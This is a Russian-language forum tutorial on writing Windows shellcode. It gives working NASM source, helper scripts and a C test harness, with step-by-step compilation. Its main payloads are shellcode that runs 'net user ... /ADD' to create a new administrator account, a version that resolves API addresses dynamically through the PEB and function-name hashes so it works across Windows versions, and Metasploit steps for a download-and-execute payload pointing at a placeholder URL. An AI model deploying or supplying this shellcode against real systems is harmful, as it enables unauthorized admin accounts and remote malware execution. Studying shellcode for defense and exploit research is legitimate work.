Старый 19.03.2011, 20:33   #1
p(eaZ
 
Регистрация: 07.07.2010
Сообщений: 33
Репутация: 29
По умолчанию Основы написания Win-шеллкода

В этой статье речь пойдет о написании простого шеллкода под Windows платформу. Статья является начальным этапом цикла статей, которые я, опираясь на материалы и труды зарубежных специалистов в данной области, планирую написать.
Эта статья не насыщена всеобъемлющей информацией, однако её цель - предоставить четкое представление о работе шеллкода и его написании. Надеюсь у меня это получится.

Шеллкод(shell code) - изначальное название получил благодаря совим первым действиям - запускал оболучку sh(shell) в Unix-системах. На данный момент это название лишь дань традиции, а действия шеллкодов ограничены лишь фантазией их создателя и областью исполняемого кода в уязвимой программе. Говоря простым языком, шеллкод - это набор опкодов(инструкций ассемблера, вида \xDD\xDD\xDD), который помещается в память уязвимой программы, и выполняет свои действия при передаче на него управления.
Если смотреть на уровне абстрацкий и ассоциаций, то шеллкод можно представить, как пулю выпущенную из пускового механизма(эксплойта), и влекущую за собой какие-либо действия, в зависимости от того, разрывная ли пуля, парализующая или со смещнным центром тяжести =)
Каждый волен думать, как ему угодно и удобней всего, но принцип работы представлять нужно. Так что, начнем знакомство.

Для начала немного теории в виде вопрос[Q]-ответ[A]:
[Q] Каковы различия между Windows и Linux шеллкодами?
[A] Linux, в отличии от Windows, обеспечивает прямой доступ для взаимодействия с ядром системы через интерфейс системных вызовов Int 0x80.
Полную таблицу системных вызовов Linux можно найти на http://www.informatik.htw-dresden.de...call_list.html.
Windows наоборот, не имеет прямого интерфейса для работы с ядром. Система работает благодаря загрузке в память адресов WinAPI функций необходимых для её работы, которые выполняются из системных библиотек DLL(Dynamic Link Library).
Основным различием этих двух ОС является то, что в Windows адреса функций могут менятся от версии к версии, в то время как номера вызовов в Int 0x80 Linux остаются постоянно неизменными.

[Q] Как определить адрес необходимой функций в Windows, если они меняються от версии к версии?
[A] Есть несколько способов найти адрес функции, которую необходимо использовать. Мы рассмотрим два из них: использование жесткой адрессации фвызываемых функций, т.е. под конкретно заданную верси'ю(и) системы, и поиск адреса функций во время выполнения программы(динамический).
Библиотека(DLL), которая гарантированно будет использоваться при создании любого шеллкода - kernel32.dll.
В ней содержатся адреса двух важных функций: LoadLibrary() и GetProcAdress(), которые будут подключать другие необходимые для шеллкода функции по названию DLL по адресу в ней. Такой подход имеет большой недостаток: из-за возможных смещений адресов фунций в различных версиях Windows(сервис паки, патчи, язык, и т.д.), шеллкод будет работать только на какой-либо заведомо известной версии, либо версиях с одинаковой адресацией необходимых функций.
При динамическом поиске, мы пишем шеллкод, который сам сможет найти адреса используемых им функций в системе, поэтому такой шеллкод будет универсален для разных версий Windows.

Создим рабочую среду.
В статье речь пойдет о создании шеллкода для Windows, но работать будем из под эмулятора nix-систем Cygwin, т.к. для написания шеллкодов под Linux создано много хороших иснрументов, и одновременно с этим Cygwin предоставит прямой доступ к библиотекам Windows.
Скачать установочный файл Cygwin можно тут: http://www.cygwin.com/setup.exe
Во время установки будет предложен выбор необходимых пакетов, которые вы можете установить. Для разработки и создания шеллкода отлично подойдут:
- Devel -> Binutils (содержит ld или objdump)
- Devel -> gcc
- Devel -> make
- Devel -> nasm
- Devel -> gdb
- Editors -> hexedit
- Net -> netcat
- System -> util-linux

Из сторонних разработок, облегчающих создание шеллкода мы будем использовать:
- Xxd-shellcode.sh
Парсит результат xxd-утилиты для создания raw-шеллкода(делает дамп и добавляет к каждому из значений \x). Для работы требуется наличие nix-программы xdd. У меня её не оказалось, поэтому я заменил её perl-скриптом от Peter N Lewis, который слегка модифицировал для подходящего результата.
- Arwin.c
Находит адрес необходимой функции по её названию и названию библиотеки в которой она находится.
- FindFunctionInDLL.sh
Скрипт-надстройка для Arwin.exe, который не требует названия библиотеки в которой находится искомый адрес функции. Достаточно будет задать лишь имя функции.
- shellcodetest.c
Используется как несущий каркас для шеллкода. Представляет собой сишный код с функцией main(). Необходим для компиляции шеллкода и его проверки на работоспособность.
- Metasploit Framework >=3.3
Фрэймворк для разработки, тестирования и создания эксплойтов. Начиная с версии 3.3 в MsF интегрирован Cygwin(\Metasploit\Framework3\shell.bat), который я буду использовать при дальнейшем описании. Данный Cygwin не включает в себя компилятор gcc, поэтому я заменил его аналогом под Windows платформу - lcc-win32.
- lcc-win32
- OllyDbg >=1.10
Быстрый и удобный отладчик программ, или его аналог Immunity Debugger.

Теперь можно приступить к созданию шеллкода.
Для начала поместим все необходимые программы в рабочую папку Cygwin'a. У меня эта папка C:\Program Files\Metasploit\Framework3\home\r00t\Tutor\. Все программы, которые будут задействованы через консоль bash хранятся в этой папке. Это не обязательно, но избавляет от мелких неудобств с постоянным вводом путей.
Начнем с самого простого - вызов функции. Для примера возьмем функцию Sleep(), которая остановит выполнение программы на 5 секунд, благодаря чему можно будет определить выполнился ли шеллкод.
[Q] Как найти адресс функции в Windows DLL?
[A] В ассемблере, для вызова функций используется инструкция "call 0xXXXXXXXX", где XXXXXXXX адрес функции в памяти, и нам требуется его найти. Для поиска мы воспользуемся программой arwin.exe, запустив которую увидим:


Адрес рисунка: http://s49.radikal.ru/i125/1103/41/b8e6ac76e304.jpg

Таким образом, чтобы использовать arwin для поиска нам необходимо знать название DLL, которая содержит искомую функцию. В данном случае функцию Sleep().
Самыми частоиспользуемыми являются функции из библиотек kernel32.dll, user32.dll и ws2_32.dll, и их использование зависит от конечной цели шеллкода.
Так как мы не знаем в какой из библиотек находится функция Sleep(), воспользуемся скриптом-надстройкой Arwin'a findFunctionInDLL.sh:
Код:
#!/bin/bash

if [ $# -ne 1 ]
then
printf "\n\tUsage: $0 functionname\n\n"
exit
fi

functionname=$1
searchDir="/cygdrive/c/WINDOWS/system32"

arwin_exe="`pwd`/arwin.exe"
cd $searchDir

ls -1d *.dll | grep -v gui | while read dll
do
printf "\r ";
printf "\r$dll";
count=0
count=`$arwin_exe $dll $functionname | grep -c "is located at"`
if [ $count -ne 0 ]
then
printf "\n";
$arwin_exe $dll $functionname | grep "is located at"
printf "\n";
fi
done
printf "\r ";
Теперь мы можем, воспользовавшись этим скриптом, найти адресс функции Sleep() и заодно название библиотеки в которой она хранится:


Адрес рисунка: http://s52.radikal.ru/i136/1103/34/959d5731b5b5.jpg

Обращаю внимае на то, что название функции прописывается с большой буквы.
Этот поиск занимает некоторое время, так что если вам заведомо известно название dll, в которой хранится искомая функция, вы можете использовать arwin.exe:


Адрес рисунка: http://s009.radikal.ru/i309/1103/ad/7e072a345576.jpg

Адрес, который получился у меня может отличаться от вашего в зависимости от версии операционной системы и установленных сервис паков.
Я использую Windows XP SP3 RUS, а это значит что шеллкод будет работать на ней, и, возможно, ещё на нескольких видах XP, в которых адреса этой функции совпадают с нашими. Это и есть тот основной недостаток метода с жесткой адресацией. Более совершенный метод будет описан ниже.
Теперь приступим к написанию кода использующего функцию Sleep(). Писать, конечно же, будем на ассемблере. Вот этот код:
Код:
;sleep.asm
[SECTION .text]

; Устанавливает 32-хбитность
; Совет: Если эта запись отсутствует в более сложных шеллкодах, то результат их работы может быть не совсем корректен.
BITS 32 

global _start

_start:
; очищаем EAX регистр
xor eax,eax 

; помещаем адресс функции Sleep() полученный из arwin.exe в регистр EBX"
mov ebx, 0x7c802442 

; устанавливаем значение для паузы в 5000 мсек поместив значение в регистр ax (8 битный EAX регистр)
mov ax, 5000 

; помещаем EAX в стек в качестве первого параметра функции Sleep(), т.к. при вызове функции её параметры берутся из стека.
push eax 

; вызываем функцию Sleep() по адресу находящемуся в EBX
call ebx
Помещаем этот код в файл sleep.asm.
Это и есть наш шеллкод в ассемблерном представлении, который мы должны скомпилировать для дальнейшего получения шестнадцатиричного дампа. Это может быть сделано при помощи компилятора nasm следующим образом:


Адрес рисунка: http://i046.radikal.ru/1103/8a/1c7cccdbd5a1.jpg

Теперь, когда у нас есть бинарный файл мы можем использовать программу для снятия hex-дампа с помощью скрипта xxd-shellcode.sh, который является надстройкой к nix-программе xxd. Вот его код:
Код:
#!/bin/bash
if [ $# -ne 1 ]
then
    printf "\n\tUsage: $0 filename.bin\n\n"
    exit
fi

filename=`echo $1 | sed s/"\.bin$"//`
rm -f $filename.shellcode

for i in `xxd -i $filename.bin | grep , | sed s/" "/" "/ | sed s/","/""/g | sed s/"0x"/"\\\\x"/g`
do
    echo -n "\\$i" >> $filename.shellcode
    echo -n "\\$i"
done
echo
Для запуска достаточно написать: ./xxd-shellcode.sh sleep.bin и вы получите готовый шеллкод.
У меня под рукой xxd не оказалось, и я воспользовался перловым сценарием от Peter N Lewis, который был мной слегка модифицирован для получения необходимого результата:
Код:
#!/usr/bin/perl

# Written by Peter N Lewis a long time ago
# Released in to the Public Domain
# modified version.

use strict;
use warnings;

usage() if $ARGV[0] and $ARGV[0] =~ m!^-[^-]!;

our $filepos = 0;
our $linechars = '';

foreach (@ARGV) {
    if ($_ eq "-") {
        binmode STDIN;
        *FILE = *STDIN;
    }
    else {
        open FILE, '<:raw', $_ or die "no such file $_";
    }
    while (<FILE>) {
        dump_char($_) foreach split(//);
    }
    dump_char( ' ', 1 ) while length($linechars) != 0;
    close FILE;
}

sub dump_char {
  my ( $char, $blank ) = @_;

  if ( $blank ) {
    print '   ';
  } else {
    printf( "\\x%x", ord($char) );
  }
}

sub usage {
  print STDERR <<EOM;
Usage: hdump.pl [file]...
Example `hdump.pl .cshrc' or `ls -l | hdump.pl'
EOM
  exit( 0 );
}
Запускаем и смотрим:


Адрес рисунка: http://s58.radikal.ru/i161/1103/1e/e030ab068b52.jpg

Получили шеллкод: "\x31\xc0\xbb\x46\x24\x80\x7c\x66\xb8\x88\x13\x50\ xff\xd3"; и теперь его надо протестировать. Необходимо поместить его в тестовый сишный каркас, и скомпилировать в .exe. Для таких целей у нас есть специальный код shellcodetest.c:
Код:
/*shellcodetest.c*/
char code[] = "сюда вставляем получившийся шеллкод"; /*должно быть так "char code[] = "\x31\xc0\xbb\x46\x24\x80\x7c\x66\xb8\x88\x13\x50\xff\xd3""*/
int main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}
Вставив получившийся у нас шеллкод функции Sleep() в shellcodetest.c, компилируем её с помощью gcc: gcc -o shellcodetest shellcodetest.c
Я воспользуюсь аналогом gcc lcc-win32 и ввожу следующие команды:
Код:
cmd\>lcc.exe "C:\Program Files\Metasploit\Framework3\home\r00t\Tutor\shellcodetest.c"
cmd\>lcclnk.exe shellcodetest.obj
В итоге получаем shellcode.exe. Запускаем и проверяем:
По истечении 5-тисекундной паузы появится мэсэджбокс, и нажав ОК программа завершиться аварийно, выдав в консоль "abnormal program termination".
Это хороший знак в нашем случае, и шеллкод сработал как ему и пологалось.

Что ж, попробуем усложнить задачу, и напишем шеллкод который будет выполнять команды Windows, например, создаст дополнительную учетную запись администратора.
Также, мы рассмотрим определение и поиск строковых констант, а именно код командной строки, который надо выполнить, и попытаемся "чисто" завершить процесс, не прибегая к аварийному завершению, как это было ранее.
Наша основная цель - найти командную строку и выполнить её код с помощью функции WinExec, тем самым создав новую учетную запись администратора.
[Q] Какие функции нам сейчас понадобятся, и где их искать?
[A] Для запуска процесса выполняющего наши команды в системах Windows необходимо вызвать функцию WinExec, а для правильного завершения процесса функцию ExitProcess. Обе эти функции находятся в kernel32.dll. Найдем их адреса с помощью arwin.exe, как было сделано выше:


Адрес рисунка: http://i047.radikal.ru/1103/67/418c27449477.jpg

Определение и поиск строковых констант.
Строковая констата, которую мы будем помещать в наш шеллкод, должна выглядеть так:
cmd.exe /c net user PSUser Passwd /ADD && net localgroup Администраторы /ADD User
где PSUser и Passwd - имя и пароль нового администратора. Не забудьте заранее просмотреть свои группы пользователей и вписать название нужной. Следующий код показывает, как будет определена данная строка в конце кода шеллкода, и её вызов.
Код вызова следующий:
Код:
jmp short GetCommand	;Перейти на код метки GetCommand, под которой будет размещена строковая константа с кодом командной строки. 
CommandReturn:			;Создает метку на которую нужно вернуться после выполнения GetCommand
	pop ebx				; выталкивает нашу команду из стека. Завершение.
Код выполнения следующий:
Код:
 GetCommand:			;Создаем метку 
        call CommandReturn 
        db "cmd.exe /c net user User Passwd /ADD && net localgroup Администраторы /ADD User" ;записывает байткод данной командной строки
        db 0x00 		;Отрубить символ конца строки
Теперь напишем весь код adduser.asm. Не забудьте заменить адреса функций WinExec и ExitProcess на получившиеся у вас значения.
Код:
;adduser.asm
[Section .text]

BITS 32

global _start

_start:

jmp short GetCommand 	;Перейти на код метки GetCommand, под которой будет размещёна строковая константа с кодом командной строки. 
CommandReturn: 			;Определяем метку вызова помещения адреса командной строки в стек
    pop ebx 			;ebx теперь указывает на командную строку

    xor eax,eax 		;очистили EAX
    push eax 			;помещаем в стек значение регистра EAX
    push ebx 			;помещаем в стек значение регистра EBX, т.е. код командной строки
    mov ebx,0x7c8623ad 	;помещаем в EBX адрес вызова функции WinExec
    call ebx 			;вызываем EBX (WinExec)

    xor eax,eax 		;сново очищаем EAX
    push eax 			;помещаем EAX в стек
    mov ebx, 0x7c81cafa ;помещаем в EBX адрес функции ExitProcess
    call ebx 			;Вызываем ExitProcess;

GetCommand: 			;Создаем метку 
    call CommandReturn 	
    db "cmd.exe /c net user User Passwd /ADD && net localgroup Администраторы /ADD User" ;записывает байткод данной командной строки
    db 0x00 			;Отрубить символ конца строки
Сохраняем этот код в adduser.asm и компилируем: nasm -f bin -o adduser.bin adduser.asm
Получили бинарник нашего шеллкода adduser.bin, который надо привести в нормальный вид(снять его шестнадцатиричный дамп) при помощи программы xxd( xxd -i adduser.bin) или xxd-shellcode(./xxd-shellcode.sh adduser.bin).
Я же воспользуюсь перловым скриптом hc.pl:


Адрес рисунка: http://s39.radikal.ru/i083/1103/52/2d5f4744f95e.jpg

Теперь остается протестировать данный шеллкод, повторив действия с компиляцией shellcodetest.c описанные ранее. Получив exe-шник запустим его и проверим создалась ли учетная запись:


Адрес рисунка: http://s015.radikal.ru/i331/1103/16/e1947083cc76.jpg

Как видно, шеллкод сработал.
Не забудьте удалить новоиспеченную учетную запись в целях безопасности командой: net user PSUser /delete
Замечу, что получение и тестирование шеллкода мы рассматриваем в развернутом виде. Есть и более простые и быстрые способы, но они не столь прозрачны.

Динамический шеллкод.
Вот мы и подошли ко второму способу написания шеллкода, а именно - динамическому поиску. В отличии от шеллкода с жестко заданными адресами функций, который работатет только под определенной версией Windows, этот шеллкод будет работать под разными версиями путем самостоятельного нахождения адресов по заданым в нём хэшам имен функций необходимых для выполнения кода. Способ универсален, но из-за этого шеллкод набирает в весе, что, как вам может быть известно, не всегда хорошо сказывается на его работоспособности и применимости.
Для того чтобы шеллкод мог искать имена функций, нам необходимо вписать в него шестнадцатиричные хэши этих имен, после чего мы вставим их в поисковый код шеллкода. Этот код будет высчитывать и перебирать хэши имен всех функций находящихся в библиотек dll, и сравнивать их значения с искомыми, заданными в шеллкоде.
Рассмотрим этот порцесс детальнее на примере, но для начала составим программу генерирующую хэши имен искомых функций.
hash-generator.asm

Код:
;hash-generator.asm
[SECTION .text]

BITS 32

global _start

_start:

jmp start_asm

;Определяем функции

;функция: get_current_address

get_current_address:
    push 0 ;создать область в стеке
    push eax ;поместить значение eax в стек
    mov eax, [esp+8] ;копировать адрес возврата в eax
    mov dword [esp+4], eax ;поместить адрес возврата в область результатов
    pop eax ;восстановить первоначальное значение eax
    ret ;вернуться к инструкции вызвавшей функцию

;Конец функции: get_current_address

;Функция: compute_hash

compute_hash:
    push 0 ;создать случайную область в стеке
    pushad ;sсохранить текущие значения регистров в стеке
    mov eax, [esp+36] ;копировать адрес возврата в eax
    mov dword [esp+32], eax ;;поместить адрес возврата в область результатов
     
    xor edi, edi ;обнулить edi. В нём буду тхраниться хэш-значения имен функций
    xor eax, eax ;обнулить eax
    cld
compute_hash_again: ;функция высчитывающая хэш-имя функции
    lodsb ;поместить текущий символ в eax
    test al, al ;проверяет ноль в конце строки
    jz compute_hash_finished
    ror edi, 0xd ;
    add edi, eax ;добавить текущий символ к хэшу
    jmp compute_hash_again
compute_hash_finished: ;конец функции
     ;в edi находяться хэши в обратном порядке

    mov edx, edi ;поместить хэши в edx
reverse_next_hash_section: ;функция переворота хэшей
    mov al, dl ;поместить первые 8 бит в регистр al
    shr edx, 8 ;сдвинуть EDX вправо для следующих 8 бит хэша
    test dl, dl ;проверка на ноль - завершение переворота хэша
    jz reverse_hash_finished ;если ноль, вызвать функцию завершения переоворота хэшей
    shl eax, 8 ;сдвинуть eax влево на 8 бит, для следующей секции хэша
    jmp short reverse_next_hash_section ;вернуться назад на переход к следующему разделу
reverse_hash_finished: ;полный хэш находиться сейчас в eax в верном порядке
    mov dword [esp+36], eax ;поместить возвращаемое значение в возвращаемое место
    popad ;восстановить исходные значения регистров
    ret ;вернуть к инструкции вызвавшей функцию

;конец функции: compute_hash

;Определение констант

locate_constants: ;метка начала констант
    call get_current_address ;определить текущее местоположение в памяти
    pop esi ;указатель на функцию содержащую строки
    add esi, 9 ;поместить в esi указатель на команду
    jmp short locate_constants_return ;вернуться к главному коду

    ;создаем строки с названиями функций
    db "LoadLibraryA" ;значение хэша = 0x8e4e0eec
    db 0x00
    db "WriteFile" ;значение хэша = 0x1f790ae8
    db 0x00
    db "CloseHandle" ;значение хэша = 0xfb97fd0f
    db 0x00
    db "Sleep" ;значение хэша = 0xb0492ddb
    db 0x00
    db "ReadFile" ;значение хэша = 0x1665fa10
    db 0x00
    db "GetStdHandle" ;значение хэша = 0x23d88774
    db 0x00
    db "CreatePipe" ;значение хэша = 0x808f0c17
    db 0x00
    db "SetHandleInformation" ;значение хэша = 0x44119e7f
    db 0x00
    db "WinExec" ;rзначение хэша = 0x98FE8A0E
    db 0x00
    db "ExitProcess" ;значение хэша = 0x7ED8E273
    db 0x00
    ;указатель конца списка
    db 0x00

;Конец блока определения констатнт

start_asm:
    int 3 ;прерывание указывающее на старт программы
    int 3 ;второе прерывание(брекпойнт) здесь только для демонстрации в отладчике
    jmp locate_constants ;найти местоположение констант
locate_constants_return: ;определить куда вернуть после

next_hash: ;начало цикла для следуещего хэша
    push esi ;поместить значение esi в качестве параметра функции compute_hash function
    call compute_hash ;compute_hash(строка из esi)
     ;результат находиться в первой строке стека
    int 3 ;остановить отладчик после генерации каждого хэша, для демонстрации работы программы
    int 3 ;демонстраця

    xor eax,eax ;очистить eax
check_null: ;помещается указатель на название следующей функции
    lodsb ;помещаеться текущий символ в eax
    test al,al ;проверка на ноль
    jz is_null ;если ноль, значит конец строки
    jmp short check_null ;вернуться назад и проверить следующий символ
is_null:
    lodsb ;поместить текущий символ в eax
    dec esi ;переметиться назад на одну позицию
    test al,al ;проверяем на ноль
    jnz next_hash ;два нуля означают конец, иначе перейти к следующему хэшу

end:
    int 3 ;демонстрация списка хэшей в стеке.
    int 3 ;остановить отладчик
    int 3 ;для вида
Сохраните этот исходник в рабочей папке под названием hash-generator.asm, и скомпелируйте его:
nasm -f bin -o hash-generator.bin hash-generator.asm

Теперь, имея бинарный файл, воспользуемся xxd-shellcode.sh для получения шеллкода, как это было описано выше.
Поместим полученный массив значений в shellcodetest.c и скомпилируем.
Получили exe файл с нашим шеллкодом, и сейчас посмотрим на весь процесс создания хэшей имен функций под отладчиком. Воспользуемся для этих целей OllyDbg'ом или Immunity Debuger'ом.
Запускаем программу и открываем наш shellcodetest.exe.


Адрес рисунка: http://i025.radikal.ru/1103/1f/f4819426ecb7.jpg

На скриншоте изображена рабочая область программы Immunity Debuger(тоже самое, что и OllyDbg). Как видно, изображено четыре области:
-окно процесса выполнения программы. В нем находятся адреса ассемблерных инструкций(первый столбик), шестнадцатиричные представления этих инструкций(второй столбик), сами ассемблерные инструкции(третий столбик), и столбик с комментариями, которые создает отладчик при анализе программы. В этом окне выполняются основные манипуляции влияющие на ход выполнения программы.
-окно состояния регистров. Содержит список регистров процессора и значения которые они содержат. Основная цель это окна - показать, как инструкции влияют на регистры.
-окно стека - позволяет увидеть, что попадает в него, и что выталкивается. Наблюдая за этим процессом не сложно понять принцип работы стека - "Первым пришел, первым вышел".
-окно дампа памяти - позволяет видеть и искать необходимые байты в памяти.
-кнопка F9(Run) - запускает автоматическое выполнение кода программы.
-кнопка F7(Step into) - пошаговое выполнение кода программы с захождением в функции.
-кнопка F8(Ыеуз over) - пошаговое выполнение кода программы без захождения в функции.

Мы будем использовать только F9. В нашем коде имеются прерывания int3 - это иммитация точек останова(breakpoint), которые будут останавливать процесс выполнения, для того чтобы была возможность обратить внимание на основные моменты.


Адрес рисунка: http://s14.radikal.ru/i187/1103/9d/075e0dce0d24.jpg

На рисунке отмечена первая точка останова. После неё начинается основная часть нашего кода. Если вы хотите посмотреть, что происходит в стеке и регистрах на протяжении процесса выполнения, то можете воспользоваться кнопками F7 и F8.
Вы могли заметить, что в некоторых местах кода, встречаются два идущих подряд int3. Это созданно для того, чтобы продемонстрировать саму процедуру останова из-за int3, а не из-за возможной ошибки.
Перед двумя этими брейкпойнтами находится инструкция "call compute_hash" - вызов функции, которая вычисляет хэш и помещает его в стек. В данном случае хэш первой функции LoadLibraryA равен 8E4E0EEC.
Продолжая нажимать F9, можно наблюдать за тем, как хэши по очереди ложаться в стек, до самого конца списка функций.


Адрес рисунка: http://s007.radikal.ru/i300/1103/3c/7232b70a78e2.jpg

Думаю, принцип нахождения хэшей более-менее понятен.
Теперь применим его на предыдущем нашем шеллкоде с жестко заданными адресами, и тем самым сделаем его переносимым на большее количество версий Windows.
В шеллкоде создающем учетную запись мы использовали две системные функции: WinExec() и ExitProcess(). Сейчас мы уже имеем хэши этих функций, и знаем как их связать с константами содержащими их реальные названия:
Код:
;определение констант

    locate_hashes:
        call locate_hashes_return

        ;WinExec        ;хэш = 0x98FE8A0E
        db 0x98
        db 0xFE
        db 0x8A
        db 0x0E

        ;ExitProcess        ;хэш = 0x7ED8E273
        db 0x7E
        db 0xD8
        db 0xE2
        db 0x73

    ;конец определения констант
Но для начала нам необходимо найти в памяти системную библиотек содержащую эти функции - kernel32.dll. Она всегда загружается вместе с Windows и рамещается в предсказуемой области памяти, поэтому найти её не составит особого труда, после чего мы приступим к поиску адреса нужных нам функции. Это будет происходить путем перебора всех функций входящих в kernel32.dll, вычислением их хэшей, и сравнением этих хэшей с двумя нашими(от функций winexec() и exitprocess()).

Код шеллкода adduser-dynamic.asm:
Код:
;adduser-dynamic.asm
[SECTION .text]

BITS 32

global _start

_start:

    jmp start_asm

;Определяем функции

;Функция поиска kernel32.dll в памяти : find_kernel32
;тут находятся приблизительные адреса памяти для различных систем Windows
find_kernel32:
    push esi
    xor eax, eax
    mov eax, [fs:eax+0x30]
    test eax, eax
    js find_kernel32_9x
find_kernel32_nt:
    mov eax, [eax + 0x0c]
    mov esi, [eax + 0x1c]
    lodsd
    mov eax, [eax + 0x8]
    jmp find_kernel32_finished
find_kernel32_9x:
    mov eax, [eax + 0x34]
    lea eax, [eax + 0x7c]
    mov eax, [eax + 0x3c]
find_kernel32_finished:
    pop esi
    ret

;Конец функции поиска: find_kernel32

;Поиск функций в kernel32: find_function

find_function:
    pushad
    mov ebp, [esp + 0x24]
    mov eax, [ebp + 0x3c]
    mov edx, [ebp + eax + 0x78]
    add edx, ebp
    mov ecx, [edx + 0x18]
    mov ebx, [edx + 0x20]
    add ebx, ebp
find_function_loop:
    jecxz find_function_finished
    dec ecx
    mov esi, [ebx + ecx * 4]
    add esi, ebp ;esi содержит название текущей функции
     ; начинаем вычислять её хэш
compute_hash:
    xor edi, edi ; обнуляем edi для хранения результатов вычислений
    xor eax, eax ;обнуляем eax для хранения символов имен функций
    cld
compute_hash_again:
    lodsb ;помещаем текущий символ в eax
    test al, al ; проверяем на наличие ноля - знак конца строки
	;как только появился ноль, начинаем вычисление
    jz compute_hash_finished
    ror edi, 0xd
    add edi, eax
    jmp compute_hash_again
compute_hash_finished: ; конец функции вычилсения
find_function_compare:
    ;сравнение полученного при вычислении хэша с хэшами нужным нам функций которые мы указали
    cmp edi, [esp + 0x28]
    jnz find_function_loop
    mov ebx, [edx + 0x24]
    add ebx, ebp
    mov cx, [ebx + 2 * ecx]
    mov ebx, [edx + 0x1c]
    add ebx, ebp
    mov eax, [ebx + 4 * ecx]
    add eax, ebp
    mov [esp + 0x1c], eax
find_function_finished:
    popad
    ret
    
;Конец функции: find_function

;Функция: resolve_symbols_for_dll

resolve_symbols_for_dll:
    ;помещаем текущий хэш(на который указывает esi) в eax
    lodsd
    push eax
    push edx
    call find_function
    mov [edi], eax
    add esp, 0x08
    add edi, 0x04
    cmp esi, ecx
    jne resolve_symbols_for_dll
resolve_symbols_for_dll_finished:
    ret
;Конец функции: resolve_symbols_for_dll

;Объявление констатнт
    
locate_hashes:
    call locate_hashes_return

    ;WinExec ;хэш = 0x98 FE 8A 0E
    db 0x98
    db 0xFE
    db 0x8A
    db 0x0E

    ;ExitProcess ;хэш = 0x7E D8 E2 73
    db 0x7E
    db 0xD8
    db 0xE2
    db 0x73

;Конец объявления констатнт

start_asm: ;старт главной программы

    sub esp, 0x08 ; выделения места в стеке для адресов функций
    mov ebp, esp

    call find_kernel32 ;ищем адрес Kernel32.dll
    mov edx, eax
	
    jmp short locate_hashes ;найти адрес хэша
locate_hashes_return: ;запомнить адрес возврата
    pop esi ;получить адреса констант из стека
    lea edi, [ebp + 0x04] ;здесь сохраняем адрес функции
    mov ecx, esi
    add ecx, 0x08 
    call resolve_symbols_for_dll

;секция кода для добавления пользователя в систему

    jmp short GetCommand
CommandReturn:
    pop ebx

    xor eax,eax
    push eax
    push ebx
    call [ebp+4] ;вызов WinExec(path,showcode)

    xor eax,eax ;обнуляем eax
    push eax 
call [ebp+8] ;вызов ExitProcess(0);

GetCommand:
    call CommandReturn
    db "cmd.exe /c net user User Passwd /ADD && net localgroup Администраторы /ADD User"
    db 0x00
Первая команда(jmp start_asm) вызывает главную подпрограмму(main) шеллкода. Выделяем место в стеке для адресов наших функций. Размер одной функции 4 байта, а т.к. их у нас две, то выделяем 8 байт(sub esp, 0x08). Если ваши будущие шеллкоды будут содержать больше функций, то при подсчете выделяемого для них пространства, помните о том, что исчисление происходит в шестнадцатиричной системе.
После этого следует сохранение кадра стека в ebp, для того, чтобы можно было потом к нему возвратиться, например так:
Код:
call [ebp+4]     ;WinExec
call [ebp+8]     ;ExitProcess
В нашем шеллкоде присутствует функция find_kernel32, которая помещает адрес kernel32.dll в eax. Мы берем хэши наших функций и вызываем функцию resolve_symbols_for_dll. Эта функция, в свою очередь, использует функцию find_function, которая используя цикл, перебирает названия функций из kernel32, вычисляет хэш и сравнивает с нашими заведомо известными.
Попробуем скомпилировать и проверить на работоспособность. Для этого повторяем шаги описанные выше:
-компилируем .asm код: nasm -f bin -o adduser-dynamic.bin adduser-dynamic.asm
-получаем дамп: ./xxd-shellcode.sh adduser-dynamic.bin
-помещаем его в shellcodetest.c и компилируем:
lcc.exe shellcodetest.c
lcclnk.exe shellcode.obj
-запускаем получившийся .exe и проверяем результат: net user
Если появился пользователь User - все сработало как надо.
Удаляем пользователя из системы: net user User /delete

Вот и все основые принципы работы и написания шеллкода под Windows платформу. Надеюсь, что описал доступно. Однако, чтобы каждый раз не приходилось писать шеллкод самому, существует замечательный фреймворк для разработки и тестирования эксплойтов - Metasploit Framework.
Для работы с MsF существует несколько видов пользовательских интерфейсов. Самые распространенные: веб(msfweb) и консоль(msfconsole).
В веб инерфейсе, запускающемся по адресу http://127.0.0.1:55555, всё относительно просто, и шеллкод создается в пару-тройку кликов мышкой. Для этого следует пройти в меню "Payloads", и выбрать в появившемся окне интересующий шеллкод. После выбора будет предоставлено окно с настройкой функций шеллкода, а также выбор энкодера и формата вывода шеллкода. Нажав "Generate", фреймворк выдаст нужный шеллкод:

Адрес рисунка: http://i048.radikal.ru/1103/ea/56bad52adaad.jpg

Что насчет консольного варианта, то тут надо поработать руками, и для выбора шеллкода, ввести следующие команды:
show payloads - выведет список доступных шеллкодов
Если хотим получить информацию о шеллкоде, например об "windows/download_exec", пишем:
info payload/windows/download_exec

Адрес рисунка: http://s45.radikal.ru/i109/1103/7c/843529c77a82.jpg

Если хотим использовать:
use payload/windows/download_exec - и сразу же можете смотреть его параметры введя "set ", и нажать два раза Tab. Буквами в верхнем регистре указываются обязательные параметры.

Адрес рисунка: http://s011.radikal.ru/i316/1103/ba/f11801b3b566.jpg

Установив URL в значение http://site.com/downloadme.exe, генерируем код командой "Generate":

Адрес рисунка: http://s11.radikal.ru/i183/1103/60/495350daa2fa.jpg

На этом введение в написание шеллкодов закончено.
Спасибо за уделенное внимание.

По материалам projectshellcode.com

© p(eaZ. Vulnes.com 02.2011
p(eaZ вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2020, Jelsoft Enterprises Ltd. Перевод: zCarot